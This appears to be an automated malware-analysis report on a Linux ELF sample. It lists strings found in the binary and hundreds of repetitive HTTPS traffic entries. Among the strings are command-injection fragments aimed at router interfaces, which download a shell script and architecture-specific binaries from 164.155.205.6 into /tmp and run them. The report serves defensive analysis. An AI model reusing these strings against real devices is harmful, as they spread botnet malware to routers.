3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:38:53 GMTContent-Type: text/htmlContent-Length: 486Connection: keep-aliveETag: "6502dd39-1e6"Content-Encoding: gzip

Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/arm7;chmod
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/matrixexp.sh
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=10392301
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/matrixexp.sh;
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/mips
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/mips;
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/mpsl;chmod
Source: H085INliC6.elf	String found in binary or memory: http://164.155.205.6/x86
Source: H085INliC6.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: H085INliC6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: H085INliC6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 42544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47556
Source: unknown	Network traffic detected: HTTP traffic on port 38678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45376
Source: unknown	Network traffic detected: HTTP traffic on port 38290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36422
Source: unknown	Network traffic detected: HTTP traffic on port 35298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36418
Source: unknown	Network traffic detected: HTTP traffic on port 54012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60546
Source: unknown	Network traffic detected: HTTP traffic on port 52976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46210
Source: unknown	Network traffic detected: HTTP traffic on port 49590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47538
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43174
Source: unknown	Network traffic detected: HTTP traffic on port 36256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45354
Source: unknown	Network traffic detected: HTTP traffic on port 48468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36400
Source: unknown	Network traffic detected: HTTP traffic on port 55522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36878
Source: unknown	Network traffic detected: HTTP traffic on port 51320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48858
Source: unknown	Network traffic detected: HTTP traffic on port 34546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44014
Source: unknown	Network traffic detected: HTTP traffic on port 46574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 57850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39982
Source: unknown	Network traffic detected: HTTP traffic on port 38908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58656
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36476
Source: unknown	Network traffic detected: HTTP traffic on port 47626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59996
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41814
Source: unknown	Network traffic detected: HTTP traffic on port 60230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47598
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47594
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37314
Source: unknown	Network traffic detected: HTTP traffic on port 58316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57344
Source: unknown	Network traffic detected: HTTP traffic on port 45032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47100
Source: unknown	Network traffic detected: HTTP traffic on port 38486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37300
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59530
Source: unknown	Network traffic detected: HTTP traffic on port 39738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47574
Source: unknown	Network traffic detected: HTTP traffic on port 34394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52904
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56026
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58204
Source: unknown	Network traffic detected: HTTP traffic on port 48538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35596
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40938
Source: unknown	Network traffic detected: HTTP traffic on port 60300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35592
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52516
Source: unknown	Network traffic detected: HTTP traffic on port 51442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48010
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51666
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36038
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42702
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48486
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49332
Source: unknown	Network traffic detected: HTTP traffic on port 40572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48482
Source: unknown	Network traffic detected: HTTP traffic on port 40784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 37946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48478
Source: unknown	Network traffic detected: HTTP traffic on port 33818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47146
Source: unknown	Network traffic detected: HTTP traffic on port 56230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48476
Source: unknown	Network traffic detected: HTTP traffic on port 58098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60154
Source: unknown	Network traffic detected: HTTP traffic on port 53978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41830
Source: unknown	Network traffic detected: HTTP traffic on port 35364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36488
Source: unknown	Network traffic detected: HTTP traffic on port 47806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59182
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48458
Source: unknown	Network traffic detected: HTTP traffic on port 57764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52954
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51624
Source: unknown	Network traffic detected: HTTP traffic on port 49618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38256
Source: unknown	Network traffic detected: HTTP traffic on port 45130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51620
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42744
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49376
Source: unknown	Network traffic detected: HTTP traffic on port 38686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36068
Source: unknown	Network traffic detected: HTTP traffic on port 43108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41888
Source: unknown	Network traffic detected: HTTP traffic on port 33318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59122
Source: unknown	Network traffic detected: HTTP traffic on port 36874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53826
Source: unknown	Network traffic detected: HTTP traffic on port 39758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39560
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 46734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58284
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41874
Source: unknown	Network traffic detected: HTTP traffic on port 40490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60116
Source: unknown	Network traffic detected: HTTP traffic on port 33282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37370
Source: unknown	Network traffic detected: HTTP traffic on port 41714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51652
Source: unknown	Network traffic detected: HTTP traffic on port 34468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35190
Source: unknown	Network traffic detected: HTTP traffic on port 41108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55504
Source: unknown	Network traffic detected: HTTP traffic on port 41304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32860
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40008
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43990
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38166
Source: unknown	Network traffic detected: HTTP traffic on port 60054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54664
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43508
Source: unknown	Network traffic detected: HTTP traffic on port 37026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43986
Source: unknown	Network traffic detected: HTTP traffic on port 45346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40470
Source: unknown	Network traffic detected: HTTP traffic on port 37038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55522
Source: unknown	Network traffic detected: HTTP traffic on port 54704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52016
Source: unknown	Network traffic detected: HTTP traffic on port 44742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54682
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42644
Source: unknown	Network traffic detected: HTTP traffic on port 40322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42640
Source: unknown	Network traffic detected: HTTP traffic on port 46934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57710
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51180
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54210
Source: unknown	Network traffic detected: HTTP traffic on port 46786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41304
Source: unknown	Network traffic detected: HTTP traffic on port 45518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41782
Source: unknown	Network traffic detected: HTTP traffic on port 35692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53768
Source: unknown	Network traffic detected: HTTP traffic on port 55984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35932
Source: unknown	Network traffic detected: HTTP traffic on port 46066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59070
Source: unknown	Network traffic detected: HTTP traffic on port 58542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33740
Source: unknown	Network traffic detected: HTTP traffic on port 42388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40034
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60082
Source: unknown	Network traffic detected: HTTP traffic on port 37888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53786
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53790
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60074
